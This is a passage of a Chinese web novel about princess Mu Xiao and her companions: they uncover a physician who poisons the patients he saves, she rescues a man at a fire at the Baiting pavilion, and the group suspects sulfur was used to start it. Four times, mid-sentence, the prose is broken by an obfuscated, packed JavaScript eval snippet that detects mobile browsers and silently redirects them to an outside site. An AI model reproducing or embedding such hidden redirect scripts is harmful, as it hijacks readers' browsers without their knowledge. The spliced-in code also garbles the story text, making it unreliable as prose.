可惜这份不世功业，并未延续太久。三代之后，动乱再起，被位功高盖主的武将篡了权，改了国号。这位成功登基的武将相当长寿，但在晚年并未维持住早年的英名，其继位之子也软弱无能，最终被自称要匡扶正义的暮氏后人——当时的丞相、也就是牧晓的父亲夺了江山。 牧家，真的是暮氏后人么？这点牧晓并不清楚，只知当时盛传的版本是，牧氏因避一时之祸而从“暮”字改姓，几番周折洗清身份，大隐隐于朝市。而牧晓的父亲，年少科考金榜题名，步步升迁，在篡位武将之子继位之时，一举登上相位。在昏君佞臣当道、忠臣被构陷污蔑、国家风雨飘摇之际，他痛心疾首，不忍百姓再活于水火，是以袒露身份、慷慨陈词、一呼百应。最后成功登基，复立大周朝，实是民心所向。 十多年前的改朝换代，并未流太多的血，大多数人怀念暮氏统治下如烟火般绚烂的海晏河清，对新的大周朝充满期待。 但有部分老臣敏锐地质疑，为何复了周朝却仍维持牧姓，而不改回暮字？好寓意与真正统，二者孰轻孰重，怎会分辨不清？ 更何况，暮姓并未真正消亡。暮氏女帝直系后人，虽沦落乡野、颠沛流离，但确实还活着。论起正统性，为何不尊暮氏女帝的直系，而是以暮氏后人身份，自立为帝？ 必不必要改姓，要不要改尊暮氏直系为帝？是否应大封其余暮氏后人？暮氏直系自身，是否有选择维持不入世现状或打破现状的权利？ 凡此种种，都是议礼论战的主要话题。 实际上，议礼，议的哪里是“礼”，又何止是在“议”。 其实是在“争”。 争到底是与暮氏有关的老臣地位尊崇，还是开始就跟随牧氏的新臣占据上风；争直系与旁系到底有无权利与律法上的差异；争女子是否如暮氏当政时一般，有继承家业、入朝为官、甚至为王为帝的资格；争这天下，到底听谁之言。 宫中在争，朝堂在争，市井在争，连消息最不通畅的乡野也早就能辩上几句。 天下皆压抑太久。 暮氏当政的周国，言论自由、风气开放，却异端频出、风暴难息；在二世而亡的短命前朝，对于言论与思想收紧到难以喘息的地步，礼制能削铁如泥般斩下一颗颗头颅，严规苛律换来一时平静却换不来永世安宁，高压之下最是易燃易爆。 牧氏的大周朝，到今两代帝王，都试图汲取前车之鉴，为觅得两全平衡之法不懈努力。 比如，当今的文昌帝，大致倾向能者居之，鼓励论战任意一方证明自己的才华和价值。 从幼年到及笄，类似的争论在牧晓耳边从未止息。 她在这场论战中的身份并不固定。有时是被责难者，有时是既得利益人；有时是他人的尖刀，有时是一方的厚盾；有时被捧为先行者，有时被诟病为浪费身份的废物。 不过，牧晓自己并不喜欢参与议礼论战。她只想跟随自己的心，追求自己想要的一切，走好自己的路。“口舌之争瞬息万变，他人评价最是靠不住。以非议为镜，偶然瞥一眼自己的不同侧面尚可；永远活在他人口舌中，实在疲惫。”牧晓对议礼论战态度向来模糊，但对其中提到自己的部分，多数是这种态度。 而同在议礼风暴之中的暮氏，这些年并非默默无闻。 一位在民间早已流芳、惊才绝艳的药师，在大周朝终于声名鹊起。 暮药师在民间口耳相传中的形象，称得上千人千言。有人说他是世外高人，清傲出尘；有人说他疯疯癫癫，只凭喜欢办事；有人说他心怜苍生，丹青妙手，面善心慈。 “暮药师……盛名之下，果真名副其实么？”牧晓问对面坐着的苏墨清和闻玄机。 听到有暮药师的消息秘密前来，还不改一身叮铃哐啷的闻玄机抢着答道：“你驸马对暮药师的评价就三个词。我想想，什么来着……” “出其不意、睚眦必报、惊世骇俗。”苏墨清平静道，“这是他展现在我眼前的一面。” “对对对，你驸马上次还说，暮药师喜欢问别人想不想当皇帝来着。”这个屋里很暖和，闻玄机十分满意。他可以尽情扇自己的扇子，且用担心会着凉。 “我怎么记得，也有人问过我这个问题。”牧晓欲言又止，转头看向苏墨清，“暮药师，前额左侧，是不是有一段长疤？” 屋中寂静片刻，还是闻玄机先跳起来接话：“你见过暮药师？对，怪不得我上次听这个问题感觉耳熟，你和我提过一句来着。这问题实在不多见。” “我不确定。万一真有第二个人喜欢问别人这个问题……”牧晓迟疑道。 “对，他左前额应该有条长疤。”苏墨清语出惊人，“我敲的。” 这三个字一出，牧晓和闻玄机都哑然望向他。 片刻后，刚才因牧晓的话跳起的闻玄机，稀稀拉拉瘫回椅子上，望天长叹：“天，你不仅卖救命恩人，还给救命恩人开瓢。刺激，真刺激。你们两个要不先对对账，对好了我再听。” “他医术药术确实高明，但医德药德实在欠佳。”苏墨清率先开口。 “……他只会制毒解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768295|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药，自己的伤都不好好处理。半年多前，满脑门是血倒在西南公主府招药师的帖子前。醒来后自称姓莫，被仇人追杀至此。”牧晓觉得事情荒谬起来。 “半年多前，我刚好忍无可忍敲了他。姓莫……”苏墨清冷冷道，“上个被他毒死的人，刚好姓莫，因仇人追杀受重伤，刚好被这位大名鼎鼎的暮药师拣回。” “捡了人治好后毒死？”牧晓难以置信地询问。 “暮药师专挑只剩一口气的战场之人、被追杀或被劫之人，以此练医术。他自言，能治好是他的本事，但治好后，命就是他的，被毒死与否，都是被救者的命数。至于为什么无人报官……比如，他用一具尸体，换下坠入崖底的那位真正的莫先生，将一切伪装好，即使仇家也无法辨认已摔得不成样的尸体。”苏墨清举例说明，“我大概也是这样被换出来的。” “艺高人胆大啊。”闻玄机瘫在座位上，梗着脖子惊愕赞叹，“真是手熟手快。” 牧晓的脸色沉了下去：“我用他，是因为他能解宫中几种秘毒。我当时只是以为高手在民间。现在想想，宫中之毒，大概是从暮氏那里一直传下来的。” “所以，我一直找不到暮药师，是因为他在你那里？灯下黑啊。”闻玄机扇子也不扇了，合上扇子狠狠敲了自己的头一下，“这都是什么事。” “我们重逢时，正是我和莫老先生……不，是暮药师进山学习草药知识。但他不知为何，像见了鬼似的，闪进山里再也不见踪迹。”牧晓的目光锁在苏墨清身上，“因为……” “因为我来了。”苏墨清微笑接上，“显然，他会一直后悔救了我还治好了我。在给他试成几次药后，意识到他绝非善类，我不干了。是，他算得上我的救命恩人，所以我也没下太重的手。很不幸，善念在这位暮药师面前是要不得的。我下手不够重，给了他还手的机会。所以我又得自己找地方养半年，才能够出山。” “然后你出山，用暮药师的消息勾来了百听阁的人，”闻玄机专心理自己身上的配饰，漫不经心顺上话，“还想换昭灵公主的消息。我觉得你相当奇怪，实在不像西南本地人，还像三年没出过山似的，就随手给你指了个公主殿下可能去的地方。没成想，你们两个兜兜转转还真遇上了。” “我们三个这是何必呢？怪不得暮药师到现在都没影。他肯定觉得自己怎么这么倒霉，随手逮来的试药人不是善类也就罢了，还是自己选定的靠山那死了三年的驸马。说不定还在后悔，早把你送去给昭灵公主邀功请赏多好，何必与你互相折磨，最终也没占到便宜。”闻玄机解开自己身上缠着的配饰，心情顿时舒畅，自顾自总结。 “现在好了，我不觉得我皇兄会无视暮药师了。”牧晓听了他们的叙述后沉默片刻，转了个思路，“他应该会把暮药师‘请’来京都。若真是这样，对我们来说也不算坏事。邢承远，暮药师……京都没几天就更热闹了。” “热闹好啊，热闹好啊。暮药师如果来京都，也没被陛下……”闻玄机用扇子笔划脖子，做了个杀头的手势，“我也有事想求他。” 19.百听大火 听到闻玄机所言，牧晓转而问道：“闻笙最近情况如何？” “还好。还是老样子，给百味坊审审稿子，也不算无聊。”闻玄机耸耸肩。 牧晓想起上次去百味坊看到的剧目，脸色古怪一瞬，艰难回道：“好，行。挺好的。我也很期待更多，更精彩的剧目。” 闻玄机大笑起来，身上的西南银饰沙沙作响：“她看好的剧目，从来都叫好叫座。不过真实性确实有待考量。要是有关于你们的，还是别去看了。要合民间口味总是得多来点杜撰。” “杜撰什么？”门外传来姚千宁的声音。 她自行推门进屋，顺手塞给牧晓一个盒子。 牧晓正要打开看一眼，姚千宁摁住了她的手：“别开也别碰。毒药。让那个姓暮的古怪老头自己吃自己解。” 闻玄机拱手一礼：“姚庄主。没杜撰什么，只是在聊百味坊。” “闻阁主何必这么客气。”姚千宁对闻玄机摆摆手，“我这破儿子能找到昭灵公主还多亏了闻阁主帮忙。” 闻玄机一听，乐了。能看苏大公子被亲母怼一顿，这趟公主府来得实在值。 “看什么看。又不是你不在，日子就不过了。你母亲我，不过是在各个方面都投了点银两。不奇怪吧。”姚千宁转头瞥一眼苏墨清，想想传到耳中的消息，罕见地对儿子升起点怜爱，“听说你三年前是被那暮老头捡着了？真够倒霉的，还不如直接死那。能活下来还不错，算你命大。” “谢母亲夸奖。母亲对暮药师很是了解？”苏墨清不在意地笑问。 “当年，还没有你们的时候，他偷偷逛到京城来，忽悠你外祖母，想给我试药。结果被我当江湖骗子，一苕帚砸出门。他搁门口，骂骂咧咧说要报复我，但最后没骂过我，抱头鼠窜进小巷，跑没影了。”姚千宁想到自己年轻时的战绩，很满意地抻抻手，拿苕帚砸人的爽快似乎还在指尖，“他出现，准没好事。每日招摇撞骗、兴风作浪，假名不重样。治不好还给人家下毒，毒回治前的状态。疯子一个。” “真是虎母无犬子。”闻玄机今日被这母子俩大开眼界，“人能活这么爽快，实在是吾辈楷模。姚庄主，您儿子给暮药师开瓢，原来是和您学的？” “哦，他终于学了点好。敲死了吗？敲晕了吗？”姚千宁问苏墨清的语气带了些迫不及待。 “当时么？大概是晕了会儿。没死。醒了后还有力气爬到西南的公主府附近。”苏墨清回想，语气里略带遗憾。 “对他，心慈手软等于自掘坟墓。这么好的机会……还是太年轻。”姚千宁痛心疾首，又转向牧晓，带着几分关切问，“晓儿也见过他？他没忽悠你试药吧？” “没。他还教了我些药理知识。当初大概想在我府里安度晚年。”牧晓眨眨眼睛，如实答道。 “你认他做先生没？要是让我那兄长——你姚老先生知道了，说不定又得气得吹胡子瞪眼。”姚千宁看她摆出乖巧的模样，畅快笑起来，“桃李满天下的姚尚书，沦落到和江湖骗子抢师长宝座。别以为他面上不再认你，心里就真不认。” “没有，没有。那句‘莫老先生’只限于敬称。虽然暮药师在公主府表现正常，但他总是不声不响去山里采药，再消失一段时间。所以我和公主府众人对他并没有那样信任，还在保持距离的阶段。”牧晓低头摩挲手中盒子，若有所思，“姚老先生的教诲，从未敢忘。” “姚庄主看得透彻，讲话也有趣。我与姚庄主相见恨晚。姚庄主日后是否有兴致多去百听阁坐坐？去百味坊也好，我姐姐闻笙也定会喜欢与姚庄主这种爽利之人交谈。”闻玄机不经意瞧了眼牧晓手里的盒子，习惯性晃了晃因长辈在场没展开的扇子，笑容狡黠地向姚千宁发出邀请。 “好啊。闻阁主嘴真是相当甜，穿得也很漂亮。我喜欢。我儿要是能和闻阁主学学就好了。”姚千宁最喜这些花里胡哨的配饰，一直觉得年轻人，言语穿着就该朝气蓬勃、随心所欲，一天天想这想那、瞻前顾后、愁眉苦脸有什么意思。年岁渐长有得是愁的时候，何必年纪轻轻就给自己找罪受。 闻玄机听到有人夸自己的衣着，立刻眉开眼笑：“姚庄主真是好眼光。我们两个说不定能处个忘年交——只要您不嫌我年龄小、没阅历，只会讲点故事。” “故事？故事好啊，除了投点产业，我最喜欢听故事了。”姚千宁也振奋起来。 年纪相差甚远的两人，眼看就要在公主府拜把子。 这时，负责对接如百听阁等公主府相关产业的露秋，顾不得行礼，进门急报：“殿下，百听阁走水。” · 秋冬之交，京城已许久未雨，天干物燥。 青石板被晒得发白，尘土在风中打旋，卡在龟裂泥缝间的卷边枯叶被火光寸寸吞噬，焚为灰烬。 等阁主闻玄机和牧晓带着的公主府众人分批赶到时，五城兵马司的人手已身披浸油麻布，正接力传递吊桶、奋力挥舞蘸水麻搭，云梯已架好，与周围店铺间的隔火带已成型，但火势仍未扑灭。 半边沟渠被落叶和废物堵死，连浑水都难以舀出，只能依靠另外半边沟渠，并从临近街道调水。 “都动起来，动起来！再晚了这半条街都得烧没！老子还不想掉脑袋，你们想么！动起来，都动起来！”新上任的东城兵马指挥刘彦劲满脸黑灰，在浓烟中嘶吼指挥。 火铺的铜锣还在铛铛争鸣。 水终于引了过来。唧筒喷射水流，火势彻底被控制住。 闻玄机清点完阁中人员后，对牧晓道：“无人员伤亡。” 牧晓站在前来督察救火调度的巡城御史身边，正在听巡城御史讲述前期火情。火光仍在她的眼底跳跃，她闻言松了口气：“无人员伤亡便好。周围无辜波及民居的损失，除了官府常规赈恤和纵火者赔偿外，还有不足，公主府……小心！” 她用余光瞥见，刚才被不慎引燃又扑灭的一截云梯，似有下陷断裂的迹象。 梯上一人摇摇欲坠，与他协同的梯上兵士见状试图伸手扶拽，但握空了。 牧晓来不及多想，几步闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776230|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身到云梯前。她踩着云梯中下端凌空跃起，碎木与火星擦着衣角而过，她的右手如飞钩般精准探出，一把扣住坠落者的后领，左脚在梯上借力一勾一蹬，手腕翻转，爆发出不可思议的力道，把坠落者整个人从梯身区域拽离，向右后侧一堵完好石墙下的草垛方向送去。 当左手摸向石墙顶，试图借力缓冲并松开坠落者时，她惊觉石墙并不像看上去那样牢固。千钧一发之际，牧晓根据在西南山林崖壁间练出的本能，改变发力方向，让手中人得以在草垛上落地后向外快速滚出，自己则双腿蹬向墙面，借力跃向外侧，在空中身形一旋，调整成俯冲落地，在坠落者滚下草垛后再次出手，揪住他的后腰带，把他整个人向外侧继续提拽。 石墙在牧晓借力后的几息，再也支撑不住，轰然倒塌。碎石滚落一地，没有伤及任何一人，尘土还压灭了原石墙内侧近旁的几点火星。 牧晓松开手中之人，抬头看到还有兵士的云梯摇晃几下，但没有因为自己的借力而倒下，彻底松了口气。她半跪在原地喘息几口，被尘土和烟雾刺激得呛咳起来。 不远处的巡城御史和闻玄机，被她迅雷不及掩耳之势冲出去的劲头吓得魂飞魄散，跌撞几步上前，顾不上礼节把她拽起，慌忙查看她的情况。 石墙倒下的巨大响动和云梯上兵士的惊叫，吸引来周围更多火兵。他们一部分扶住云梯，协助云梯上的同袍安全撤离；一部分拿着唧筒上前，协助扑灭这头最后的火势；另几人上前，查看坠落者是否有恙。 火已完全熄灭，空中飞尘被持续洒落的水裹挟向地，渐渐平息，露出天空的本来样貌。 坠落者自是无恙。他体验了失足下坠和空中秋千这双重刺激，惊魂未定地从地上爬起，左右试试，自己竟全须全尾地活了下来。他目中先是充满了劫后余生的庆幸，回过神来，感激之色从眼底溢出。他走向自己还在呛咳的救命恩人，深深弯腰拱手：“壮士侠肝义胆，好身手。救命之恩……” 巡城御史和闻玄机向旁边退了几步，被救者惊愕地发现，救他的竟是位女子，乍一看像谁家的大小姐，一时间愣在原地。 巡城御史咳了几声，拍拍胸口定心后，沉声道：“昭灵公主亲自来救，直视过于无礼。还愣着干什么？” 周围任务了结的火兵、围观的和协助救火的民众、公主府带来帮忙的众人，皆慢慢聚到此处。 被救者慌忙跪地道谢，连带着周围人等如潮水般跪地。 牧晓又咳了几声，实在没法一位一位扶，哑着嗓子轻声道：“都起来，没事就好，不必多礼。” 声音虽轻，但周围人一片寂静，全都能听清她的话。 她摆摆手，在公主府人等开道护送下，转身离开。 在她走后，人群爆发出一阵议论与喧闹。 在此之前，昭灵公主于西南的战绩，在京城民众中只是未曾被眼见为真的传言。讨论，质疑，嗤笑，讽刺，杜撰——有人相信，就有更多的人怀疑。 今日之后，昭灵公主在京城真正声名鹊起。 20.负隅顽抗 牧晓在儿时也曾暗暗做过如前前朝暮氏女帝一般、一战成名、从无败绩的梦；而今，她完全不会想到，自己在京城却非因战蜚声，而是不战成名、一救成名。 “没事，没伤到。只是呛了一下。”回到公主府，牧晓率先对迎上来的苏墨清解释几句，眼前回闪过刚才的火光，忍不住伸手去抱他，又说了几句没头没尾的话，“人我救下来了。火场你不要去……我能护住所有人。” 最后一句，像是承诺给他人的承诺，又像是给自己的。 苏墨清早已从别处知道她那天未说完的话是什么，也明白火与救人对她的意义。他伸手回抱，手臂慢慢收紧。 一直跟着昭灵公主离京、前往西南又回京的侍从，皆严肃不语；一直在京的众人面带疑惑，但见去过西南的众人面色沉重，也不敢出声。 唯一敢咳嗽几声的，是从屋里追出来的姚千宁。 牧晓惊觉还有这么多人在场，赶忙放手。 但她对面的人没松开。 直到牧晓急得悄悄戳他，示意姚姨还在这里，他才缓缓松手。 姚千宁虽然没有去过西南，当年牧晓在西南的所作所为也没有和她亲口提过，但她在京还是略有耳闻。她没提大火，也没询问牧晓的反常情绪，只是提醒自己刚才一听到昭灵公主回来，比疯狗还难拉的儿子：“你注意着点。大庭广众，少对晓儿动手动脚……别帮他说话，先去换身衣服吧。” 牧晓刚想开口，被姚千宁一句话堵了回去，无可奈何地转身挥散众人，向自己屋子的方向走去。 姚千宁给苏墨清一个跟她进屋的威严眼神，转身坐回屋里。 “说说看。你现在都弄清楚什么了？”姚千宁不动声色询问。 苏墨清罕见地有几分烦躁，不太想答。但在母亲凝视的目光中，他还是定定心，简略答了几个：“延国公府，公主府东侧，大婚，西南大火。” “还行。具体的我不问。希望这几件事你真的弄清楚了，而且心里有数。”姚千宁做母亲，从来不是很细心很操心那类，见他不想细说，心知就算问了也没用，自己本来也不好和添油加醋似的多说什么。她放过这个问题，转而问：“你以后有什么打算？就一直这样？” “没想到母亲会问这个问题。有什么不好么？”苏墨清收好情绪，不答反问。 “我可不吃这一套。那你刚才在烦躁什么呢？现在又为什么要继续套上你那层平静的皮？”姚千宁嗤笑一声，在她面前，这简直就是负隅顽抗，“觉得我帮不上忙，那还正常；就怕你又在自己琢磨点乱七八糟的东西。” 屋内一阵长久的沉默。 “你这动不动就不说话的毛病是和谁学的？你父亲和我，都是先吵架，再边吵架边动手的性子。”姚千宁不满地啧了声，打破沉默。不过在说完后，她立刻意识到，她和苏老将军当年就不是什么恩爱夫妻的典范，拿他们两个给孩子举例，实在不妥。 姚千宁一抿嘴，心里对自己默念要耐心点、耐心点，换个方式说道：“拿延国公府来说。你以为孙氏他们三个抱团做事、畏畏缩缩，真的是每个人都不想牵连对方吗？孙氏自己是，苏墨淳不论原因是什么，但确实也有一部分是。不过，他们两个的脑子，全长苏沁那个小丫头一个人身上了。” “这种做事方法，便宜的到底是谁、到底对谁有好处，又是谁在暗中促成这种相处局面，就这么三个人，你到底真的看清了吗？” “心里完全不想牵连周围人的，真的是他们吗？自始至终，不都是你自己么。”姚千宁一语惊醒梦中人，“不涉及你在乎的人，你什么都敢。敢和你父亲闹僵，敢给牧家承诺，敢给暮老头开瓢，敢找难辨敌我的江湖信息场所，敢义无反顾跟着晓儿说回京就回京。而涉及你周围人的时候呢？你在瞻前顾后什么？” “你……他们，他们不应该为我的过失负责。”苏墨清垂眸，不带什么情感地说道。 “那你到底把什么称做‘过失’？玄岳关是没赢么？”姚千宁步步紧逼。 “人只要还想活，那做的每一件事都有后果。既是后果，又何谈对错；后果不谈对错，行动又怎么能区分高明的和有过失的？举个不恰当且晦气的例子，要是晓儿有朝一日也想……”姚千宁说到此处突然刹住，“……你懂我什么意思。没成，要全府砍头，你会后悔在这个府里吗？” “你自己看看，你又不后悔了，又愿意了。我也不会后悔，我也愿意。换我们几个中的谁，都一样。这我们都不在乎，也不把这个叫什么‘过失’，别的事你管那么多做什么。” “还有，”姚千宁狠狠敲他面前的桌面，桌面发出咚咚的震响“你当我们是孙氏和小丫头苏沁？还是你把自己当你那个醉鬼弟弟？想做什么就做什么，我们之间谈不上什么牵连不牵连。有后果可以一起担着，捅破了天可以一起扛着，活着就能反转胜负，死了还能化作厉鬼，怎么算都稳赚不赔。这是京城，谁都不会是常胜将军，包括……” 她再次卡住，往皇宫方向一转头，“……也不是鼓励你们……的意思。这辈子路还长着呢，谁知道未来还有什么。” 这段发言实在震撼。 苏墨清第一个念头是：怪不得这群长辈当年能造反，还能造反成功。 哪里是一辈比一辈不靠谱、一辈比一辈有活力的问题。根本就是每一代人年轻时都有属于自己的战场，都曾豪气干云，只是老一辈年纪慢慢大了，见多了，觉得大部分事都无足轻重，也懒得再和小辈多费口舌。 在姚千宁喝茶润嗓子时，牧晓掀开门帘走了进来。 牧晓从姚姨提到她和苏老将军吵架的地方开始听，听到要提延国公府的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784552|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事，没找到机会进去；结果后面的内容越来越振聋发聩，她又舍不得打断。 “姚姨不介意我也听了几段吧？”牧晓坦然问姚千宁。 “敢在公主府说，还怕你听不成？”姚千宁放下茶杯，毫不在意道，“你要是早点进来，我还能有机会一起训。现在，手里拿得是关于百听阁走水的初步信息吧？效率不错。” “是。阁内之人无伤亡；人为；救火过程无异常；损失可控。”牧晓展开纸条简要总结后，说出自己的初步判断，“百听阁在京不止东城这一处。东城这处规模小，防卫严，距公主府最近，所涉信息最敏感。这处能走水，就是向我示威的。” “你们最近得罪的人可不少。”姚千宁皱眉。 “能做到这个份上、还没被提前发现的，不多。”牧晓把手中纸条扣在桌面上，“论缜密程度，排除京郊截杀涉案人，排除暮药师；论下手方式，排除江湖人士；论无伤亡的结果，排除宫里。要么只是巧合，要么深查旧怨，要么和邢承远有关。” “我倾向和邢承远有关。” “邢承远自己，现在已是焦头烂额。但他横行多年，在京不可能完全没有利益相关者。只是藏得深，我还没扒出来。”牧晓对邢承远背后还有自己未知的势力并不惊讶，“能为邢承远做到这个份上，还有胆量和我示威。邢承远的关系脉络，还得查得再细。” “救火过程没有异状，现场或周边有么？比如趁机劫掠，大呼小叫传播流言、扩大事端之类。”苏墨清问道。 “现场秩序稳定，救火人多，但指挥得当，并不凌乱，也没有劫掠现象。不过，火场附近半条沟渠堵塞，看起来不算太严重，对救火过程有一定影响，但起不到决定性作用。”牧晓盘算着，“不过，如果就这这半条沟渠不妨，要牵扯起来的人可就多了。工部，巡城御史，在京郊截杀后刚被洗过的五城兵马司，还有兵部……” “五城兵马司？怎么哪里都有他们。兵部在你们进京后，真是流年不利。刘尚书又要掉头发咯。”姚千宁随口感慨。 “兵部刘尚书……”牧晓又看了一眼纸条上，现场负责救火的队伍与背后牵扯，沉吟道，“怪不得现场的东城兵马指挥刘彦劲，年纪不大，且相当着急上心。刚趁着机会在五城兵马司走马上任，还是兵部刘尚书的远亲，可谓前途无量，自然不想倒在一场火灾上。” 选东城的百听阁，背后是否还有别的原因？刘尚书原本是这场火灾计划中一箭顺带的众多人之一吗？ “兵部刘尚书与苏老将军私交甚好。”苏墨清开口，“一直看不惯邢将军的风格。” “这就不奇怪了。”牧晓总结，“地和屋是我的，人是百听阁的，钱是多方投的，主要扯上了兵部、工部、都察院。各方还挺齐全。” “等着邢承远进京，都可以开席了。” 21.硫磺开席 “对，开席，就是因为开席。”东城兵马指挥刘彦劲对闻玄机道，“隔壁酒楼当日有贵客订席，购入些爆竹、炮仗燃放，这是报备过的。但不巧，百听阁那日正向阁内运煤，隔壁放炮仗，兴许是不巧震倒了煤房附近的灯烛，点着了百听阁的煤房。京中多日无雨，天干物燥，那日更好太阳足，临近冬日易燃物又多，走水情有可原。” “刘指挥的意思是，无人失职渎职，仅是巧合？”闻玄机试探询问，“还是在怪我百听阁未看好灯烛？” “本官的意思，自然是巧合。前几日，本官便带人核查过百听阁煤房与灯烛情况，并未发现不合规之处。若是闻阁主有异议，也可拿出人证物证来，才好推翻本官结论。”刘彦劲隐约知道百听阁背后有大人物做靠山，并未大摆官威。 “所以，未曾有过沟渠堵塞之状，我百听阁也未曾有不合规之处，算作日头过大、自然走水上报？”闻玄机眯起眼睛摇摇扇子。 刘彦劲咬牙：“对。若是闻阁主坚持是人为，那岂不是说百听阁内部有人失职，或直接是阁内之人放火？沟渠堵塞，本官是要担责，但阁内走水牵连周边，虽然范围不大，闻阁主监管不力亦罪责难逃。何不各退一步？” 他并非不知这事背后有蹊跷。只是，若是报自然失火，凭刘彦劲在救火过程中的表现，加上无人员伤亡、财产损失不大的结果，大概率不会受到任何责罚，也不会影响他的晋升。他怕的是百听阁背后之人咽不下这口气，就算弃了底下做事的自己人，也要求水落石出、分条析责，闹得越大越尽兴。 做官不易，在京做小官更是如履薄冰。难得糊涂能活得久些。 “闻阁主，你可想好。真论起来，上面的人毫发无损，我们可是要倒大霉的。”刘彦劲赶紧再接上几句，“百听阁也可和隔壁酒楼协商。毕竟走水时，恰逢爆竹炮仗声震天，火星不慎飞过墙体，亦有可能。这样便是民间纠纷。” “各退一步，民间纠纷……又是好生熟悉的话语。”闻玄机来回踱步，收起扇子狠狠砸进掌心，最后转身对刘彦劲道，“谢刘指挥好意。但这事，我做不了主。” 刘彦劲后槽牙越咬越紧。眼前不过一届布衣平民，背后有人就能如此不知好歹。要是他背后也能定定有位大人物力挺，何愁不能青云直上？只可惜兵部刘尚书虽是他同族，但他自己还攀不上，最多隐隐借势罢了。 “百听阁内新进的煤，因起火突然，本官未曾有机会核查品质及堆放方式。”刘彦劲从牙缝中挤出这句话，暗示对方再不松口，自己也不再让步。 “我也未曾……对，煤。刘指挥好经验！”闻玄机突然抓到突破口，询问刘彦劲，“刘指挥，煤怎样会更易燃？” “自然是混入油、蜡等本就易燃的物品。”刘彦劲怔在原地，没想到对面人没接收威胁，反倒兴奋起来。 闻玄机哥俩好似的拍拍刘彦劲的肩，忍不住夸赞：“此等专业之事，还是得询问专业之人。刘指挥好经验、好学识！来日必当上门请教！” “也不必……”伸手不打笑脸人，刘彦劲下意识接话，出口几字后又回过神来，“你们到底想如何？” “问我没用。我怎么知道。”闻玄机耸肩直言，“你不提我都要忘了。上面的人托我给你带句话，让你家刘尚书等着接招。接谁的招、接什么招、什么时候接招，不要问我，我也不知道。上面的人，就是这么喜欢当谜语人。我也没办法。” “但我没法给刘尚书传话啊！我，我只是个区区东城兵马指挥。我还没见过……”刘彦劲脱口而出。 但闻玄机已经对他喊了句“刘指挥再会”，然后在初冬时节依旧摇着扇子，飘飘然而去了。 · “就是这样。刘彦劲就这些表现。”闻玄机这次光明正大飘进昭灵公主府。毕竟烧了的那块地是公主府的，虽然明面上地的所有者与地上经营场所的所有者毫不相干，在京城是件再正常不过的事，但来地的主人府中禀报损失，也合情合理。 “若是煤中混了油、蜡，百听阁采买之人会无法发现么？”牧晓听完闻玄机的叙述，边看手中小册，边随口问闻玄机。 闻玄机听后泄气：“也对。东城百听阁的人员配置都是最好的。” “不是油、蜡，硫磺更有可能。”苏墨清思索后提出。 “为什么？因为街上燃烧后的气味？你不是当时没去现场么。而且，隔壁酒楼经常放爆竹炮仗，走水当天也一直放。那味道我都闻习惯了。”闻玄机还是瘫在那里。 “因为我那天身上残留的硫磺味，还有我实在呛得太厉害。”牧晓翻过手中一页纸，“你们和救火者们没有特别注意到那股刺鼻气味，是因为正如你所说，都闻习惯了。” “但我从小到大都没真的接近过烟花爆竹，节日庆典上燃放，我也只是远观；西南太潮湿，火器在战场并不常用。所以，我没法分辨出那是硫磺味，只觉当场气味比一般火场刺鼻得多。” “真的没有别人注意到那股硫磺味么？我是不信的。” “还有，刘彦劲怎么就笃定，你不追究，这事就起不来？巡城御史那边，难道谈妥了？其他波及楼阁，也谈妥了？”牧晓心不在焉地叹息。 “你们一个个，净问些我不能回答的问题。”闻玄机对天无可奈何地伸手又落下，蛄蛹几下，侧身问苏墨清，“那苏大公子，你为什么知道那是硫磺味？你们两个不是一起长大的么？” “主要原因是，暮药师会在山里炼丹。”苏墨清继续看手中的书，没抬头看闻玄机。 “熬药就算了，还真有人会炼丹？这个暮药师在你们嘴里怎么越说越不靠谱。再这样下去，我都不敢让我姐姐见他了。”闻玄机哀嚎，“还有，我来都来了，你们不管饭么？做饭最好吃还近的东城百听阁可是烧了，现在人都安置在南城。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789459|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们可不会等我一起吃。等我回了南城，饭都凉了。” 牧晓和苏墨清不约而同放下手中物品看向他。 